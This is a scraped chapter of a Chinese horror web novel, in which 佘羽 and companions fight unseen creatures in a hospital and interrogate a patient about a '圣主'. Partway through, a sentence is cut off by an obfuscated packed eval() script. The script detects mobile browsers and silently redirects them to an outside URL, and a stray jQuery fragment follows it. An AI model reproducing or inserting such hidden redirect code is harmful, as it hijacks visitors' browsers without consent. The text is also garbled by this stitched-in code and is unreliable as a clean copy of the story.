文趣网 > 其他小说 > 我有一根大拐杖 > 15. 15
    三位同伴凄惨的叫声不绝于耳,吵得人脑子疼。

    佘羽看她们面色惨白唇无血色,捏了捏拳,蓄力一拳打爆了人头。

    在她眼中,随着中央黑色史莱姆的破裂,空中飞舞的多条触手也随之落地,回光返照地抽了几下,彻底沉寂。

    尖叫骤停。

    普星蕊:“啊——啊?”

    一时不知道是人头可怕,还是打爆了人头的佘羽可怕。

    残留的组织还挂在半空,荡秋千般地摇晃了会儿。

    普星蕊往后退了一步,闭了闭眼。

    胖女人和马千怜倒显得冷静,已然习以为常。

    “这人头是什么意思?”从洒落一地的人体组织中用兰花指拾起手电筒,胖女人说,“没有对我们造成实际伤害。只是来恐吓我们?”

    她们看见的是人头?

    洒了满地的触手,只有佘羽一个人能看见。

    方才在空中张牙舞爪的触手都是奔着她们三人去的。

    并非没有伤害,只是她们看不见。

    为什么只有她一个人能看见?

    尽管心里疑惑不解,佘羽仍泰然自若,转头时顿了会儿。

    胖女人肩上趴着一团正在蠕动的黑色东西。

    不知道她们能否看见,或者看见了什么,佘羽并未贸然行动。

    “我天,你肩上是什么东西!”普星蕊从包里翻出刀,戒备地握住,刀尖朝向胖女人肩上的东西。

    马千怜看过来,也是一惊,急急忙忙翻出刀。

    胖女人侧头一瞥,三魂不在了七魄,背上瞬间爬满寒毛。

    一只巨大蜗牛形状的透明状物质伫立肩头,微微张开的嘴露出锋利獠牙。它的身躯布满大大小小的疙瘩,像癞蛤蟆般粗糙的外壳,身躯里网状般的血管交叉分布。

    忽地,它伸长脖子,食人花般的血盆大口径直攻向马千怜和普星蕊。

    两人却没来得及反应,不知吓呆了还是分了神,脚粘在地上般,一动不动。

    佘羽跃步向前,手起刀落,斩断蜗牛。

    蜗牛断头落地那刻,走廊的灯再次亮起。

    视线变得清晰,胖女人松了口气,尽管在肩头上的东西已然不在,她疯狂拍打肩头。

    刚才那一眼给她的伤害可不小。

    到了现在,如果她还相信这些是诡医的考验,那她可以去医院看看脑子了。

    “这都是些什么鬼东西?”

    普星蕊努力调整呼吸,低头看向地面,抬脚踩了踩,“灯亮后,那些东西就不见了。”

    马千怜脸色惨白,拉住佘羽的袖子:“我和你一组吧。”

    胖女人稍顿:“为什么?”

    马千怜:“你和佘羽战斗力挺高,而且都善于思考。”

    刚才那种情况,如果没有佘羽,她和普星蕊可能都死了。

    胖女人:“那为什么不是你和我一队?”

    马千怜看向普星蕊:“如果她愿意,也可以。”

    普星蕊忙摇头,说:“就这样分组吧,别纠结太多,浪费时间。”

    她拉住胖女人,走向电梯:“我们去一楼了。”

    飞奔至电梯厢,快速按下“1”,等待电梯门合闭。

    普星蕊:“你疯了,想和佘羽一组?”

    胖女人:“没疯。”

    普星蕊扶额:“应该把马千怜也叫上的。”

    胖女人:“我觉得佘羽不是坏人。”

    普星蕊:“?”

    胖女人说:“我不敢确认她不是非人存在。但她对我没有恶意。”

    就算佘羽拿着锯子对着什么她看不到的东西乱挥,但看佘羽的架势,也是为了保护她。

    行事作风大胆乖张,各种举动扑朔迷离。

    但佘羽的所做,目的都是保护她们。

    普星蕊:“可规则说,如果同伴是非人,另一个人可能会遇到危险。”

    胖女人:“所以,你就这么把危险留给了马千怜?”

    普星蕊语塞。

    电梯到达一楼,门打开后,胖女人跨出一步,“事已至此,先查房吧。我们只能相信佘羽是人,不然,完成不了任务,大家都要遭殃。”

    普星蕊:“可是,她真的很奇怪。万一……”

    “万一她真的不是人?”胖女人烦躁地蹙眉,“你已经把我拽下来,五楼只有她们两个人,如果她真的不是人,那能怎么办?大家一起死呗。”

    普星蕊被她怼得再次哑巴。

    胖女人:“不要把自己想得太完美,也不要轻看任何人。我们到这儿是为了寻求健康,生命对于我们来说,是最重要的事。我们中的任何一个人都很惜命,不止你,我也很惜命。”

    普星蕊:“不要这么上纲上线嘛,我只是考虑了最坏的结果。”

    胖女人摇了摇头。

    普星蕊从包里拿出举报卡:“如果马千怜遇到危险,我们就把佘羽的名字写上去。”

    胖女人轻顿:“如果马千怜出事不是佘羽造成的呢?”

    普星蕊:“什么?”

    胖女人:“话说,你记得我叫什么名字吗?”

    普星蕊摇头。

    护士站时看过胖女人写的资料,但情况紧急,只记住了她名字里有个“珍”字。

    记住了的名字,也就当着大家面提过的佘羽和马千怜。

    胖女人:“这张卡,该写的名字真的是佘羽吗?你能承受写错名字的后果?”

    普星蕊:“啊?”

    胖女人:“你不记得我的名字,不记得在三四楼两个男人的名字。如果我们,也就你或者我才是那个非人存在呢?”

    她话说完,普星蕊不寒而栗,呼吸在不知不觉中慢了几拍。

    “咱们萍水相逢,因为寻求健康在这个地方相见。直到几个小时前,我非常相信我们所在的地方,所经历的这些,都是诡医的考验。”胖女人睨了眼她,翻出记录本,走到第二个病房,“但现在,我连自己都不太相信——别想这些了,能不能活着出去,这才是问题。先完成任务吧。”

    。

    五楼。

    目送她们离开,电梯门关闭,马千怜对佘羽道:“继续查房吧。”

    佘羽把手电筒塞进包里,轻笑:“七间病房,剩下八十多分钟,你觉得查得完吗?”

    马千怜想了想,摇头。

    佘羽道:“所以,不查了。”

    马千怜茫然抬起眼:“不查了?”

    “嗯。”

    “为什么?你不担心受到惩罚吗?”

    佘羽:“嗯?惩罚?什么惩罚?”

    马千怜:“就是……”

    话一出,她又顿住。

    等等……

    哎?

    佘羽:“没有哪条规则提过,我们没完成查房要受到惩罚吧?”

    马千怜沉默。

    手机上所显示的字里,没有任何一条提过查房未完成会受到惩罚。

    佘羽:“唯一说过可能会受到惩罚的,也就只有与‘同伴为非本院工作人员’有关。”

    马千怜恍然大悟:“所以,查房并不是我们该做的?”

    佘羽颔首:“是的,找出那个‘非本院工作人员’应该是破局的关键。”

    马千怜:“那我们怎么找出那个人?”

    佘羽往第一个病房走去:“得做些实验。”

    马千怜不明所以,跟在她身后。

    佘羽拉开病房门,在李横惊讶

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17867825|212117||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的目光中侧身让马千怜走进,关了门后,问:“大家都怀疑我,你怎么那么信任我?”

    马千怜说:“舍己为人的人,不会是坏人。”

    佘羽勾了嘴角:“假如我是善良的非人呢?”

    马千怜:“……如果你真是非人,按照规则的提示,我现在已经遇难了。”

    佘羽:“规则不一定是对的。它会误导我们。”

    她迈开脚,走向543床的李横。

    李横:“!”

    这两人去而复返,一进病房就开始说些莫名其妙的话,最粗鲁的那个女人还瞄准他,径直走来。

    541床陈折遗憾离场。

    542床刘念被绳捆索绑。

    544床边放着锯子,可惜该床患者王河只会呆傻地躺在床上玩斗鸡眼。

    孤立无援的李横睁着委屈的大眼睛。

    他只是一个打工的魇生物,饶了他吧!

    佘羽一览他的畏畏缩缩,背身坐在床沿,撩开被子,一脚踩在床边,支颐望向被五花大绑在隔壁床的刘念,拍了拍旁边,对马千怜道:“坐。”

    马千怜没有多问,乖巧坐在一旁。

    佘羽:“李横。”

    李横倏地睁大眼睛:“啊?嗯,我在。”

    佘羽:“你说你是什么?衍生物吗?”

    李横:“……是的。”

    佘羽:“你们圣主是谁啊?”

    圣主?

    圣主!

    这个女人怎么会知道圣主的存在!

    李横刷地坐起,道:“你在说什么?我听不懂。”

    佘羽一笑,不语,对低着头的马千怜道:“你问过我,我的腿有没有做过手术,我告诉了你,我的腿是做手术也治不好的。你知道为什么吗?”

    马千怜抬眼,疑惑地看向她:“为什么?”

    佘羽放下搁在床边的腿,懒懒靠在墙上,对着她做了个嘘的手势:“我和魔鬼做了交易。”

    马千怜蹙眉:“魔鬼?”

    “按照普遍的说法,大家称那个魔鬼为圣主。”佘羽打了个哈欠,“也就相当于这里的诡医。”

    马千怜凝神,望着她。

    佘羽接着道:“我和那个祂打了赌,我输了。按照赌约,祂拿走了我的一条腿。”

    她直起身子,缓缓靠近马千怜:“普星蕊怀疑我,或许是因为我明明瘸了腿,一进入到这个地方,腿才变好,就习惯了走路。”

    马千怜:“你在说什么?”

    冷白的光洒落整间病房,佘羽眼睛明亮,好似在讲述着什么富有童真的趣事:“因为我打赌时忘记说以哪条腿为赌约,祂收走我的腿也未定——今天是左腿瘸,明天是右腿瘸,久而久之,我两只腿都瘸过,也都经常被锻炼到,好歹没有肌肉萎缩。”

    马千怜:“佘羽,别开玩笑了。”

    佘羽:“嗯?我没开玩笑,我说真的。”

    她顺手拿过桌上的体温计,转笔般玩弄起来,“我来这里是为了寻找夺走我腿的圣主。但很可惜,我很确定,这次要无功而返了。”

    马千怜不想听她讲这个故事,干脆打断:“我们来这里要干嘛?”

    佘羽:“等待一个时机。”

    这两人聊得不欢,李横却听得津津有味。

    哪个圣地的圣主这么变态,以人类的腿为赌约啊?要赌就赌命,这才有意思。

    在佘羽手指上转动的体温计滑落至虎口,她握刀般攥紧体温计,斜身而来,擦过李横的颈侧插入墙壁。

    李横双目圆瞪,一动也不敢动,忘记了呼吸:“!!!”

    马千怜惊吓站起:“你在干什么?”

    佘羽盯着李横,问:“我问你,你们圣主在哪?”